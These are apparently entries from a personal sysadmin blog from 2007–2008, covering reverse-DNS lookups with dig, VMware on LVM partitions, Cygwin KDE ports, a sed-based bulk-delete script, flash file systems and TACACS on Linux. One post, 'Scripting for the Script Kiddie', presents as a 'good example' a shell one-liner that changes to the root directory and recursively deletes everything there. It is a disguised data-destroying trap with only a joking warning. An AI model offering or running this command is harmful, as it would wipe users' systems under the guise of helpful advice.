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2008 Aug 22 - Fri

DNS Tools

For my reference, a command for looking at ownership of w.x.y.z:

 dig +trace  z.y.x.w.in-addr.arpa.

DNS Operations List

DNS List: NameDropers: IETF DNSEXT working group.

DNS Operatins


2008 Apr 25 - Fri

Running VMWare with LVM on Linux

In order to get a slight speed boost out of an OS resident in a VM, the hosted OS can be made to use raw disks or partitions.

On my computer, I use Linux's Logical Volume Manager (LVM) to manage my partitions. VMWare doesn't know how to decode those types of partitions.

I first looked to vmware-bdwrapper as a work around. The code compiled fine, but I had some problems trying to fiture out the proper syntax to make VMWARE_BDWRAPPER_DEVICES happy.

I then gave vmgbd a try. This is a VMWare generic block device patch. This one worked much easier. After compiling and patching as indicated in the installation intructions, I started up VMWare, did a custom configuration, put in my LVM device description, selected 'Use Entire Disk' for usage, and was off to the races. The caveat at this point is that I had to run VMWare as root. The faq indicates some notes for running as a regular user, but at least I was able to prove the concept was valid.

As a side note, here is a A Beginner's Guide To LVM. Another related LVM How-To is Back Up (And Restore) LVM Partitions With LVM Snapshots. LVM based snapshots are a great way to take 'instant in time pictures' of the drive. This gets around the problem of trying to backup files which might be opened by other applications. Or even better, an application can be paused or exited only briefly while the snapshot is taken. Application downtime is minimized in order to proceed with data backup.


2008 Apr 17 - Thu

Scripting for the Script Kiddie

Here is a good example of how to perform a repetitive task on a series of files within a directory with one command line (Warning: you are on your own if you run it verbatim without knowing what it does):

(echo $SHELL; pwd; ls -l; cd /; for x in *; do rm -rf $x; done;)


2008 Mar 18 - Tue

Cygwin Ports Project for KDE

Downloading Cygwin from Cygwin gets you a basic Cygwin configuration. I also wanted KDE, which isn't part of the basic stuff. The site Cygwin/XFree seems to have subsided a while ago. But that site did point me to the Cygwin Ports Project. As of this writing, they have KDE 3.5.8, but not KDE 4 yet. Plus, as a free bonus, that ports site has a plethora of other packages for Cygwin.


2008 Feb 07 - Thu

Bash Script to Large Number of Files

Not knowing any other way to remove a large number of similarily named files from a directory (such as netflow files), and not wanting to do it manually, the following one liner creates something to start with:

ls -1 -A ft | sed "s/^/rm ft\//" > d.sh

It does a directory listing with one column, and does not include the '.' and '..' entries. It then uses sed (stream editor> to insert a rm command at the beginning of each line. The results are written out to a file for further tweaking.

chmod +x d.sh

will make the script executable.


2007 Oct 06 - Sat

Flash File Systems for Embedded Systems, and Otherwise

On Kernel Trap, I see they are discussing the use and maintenance of flash file systems. It seems there are lots of interesting gotchas when using flash file systems intensively. I'm wondering if that might be why the Seagate 32G flash drive is taking a while to get going in the market place.

Anyway, for my own embedded thoughts, it is good to know flash file systems are making good headway into kernel integration.


2007 Jun 24 - Sun

TACACS + Linux

Up till now, I thought that TACACS use was limited to authentication/authorization of logins and commands on Cisco devices. There is an article at Freemode.net regarding TACACS + Linux for authentication.



Blog Content ©2008
Ray Burkholder
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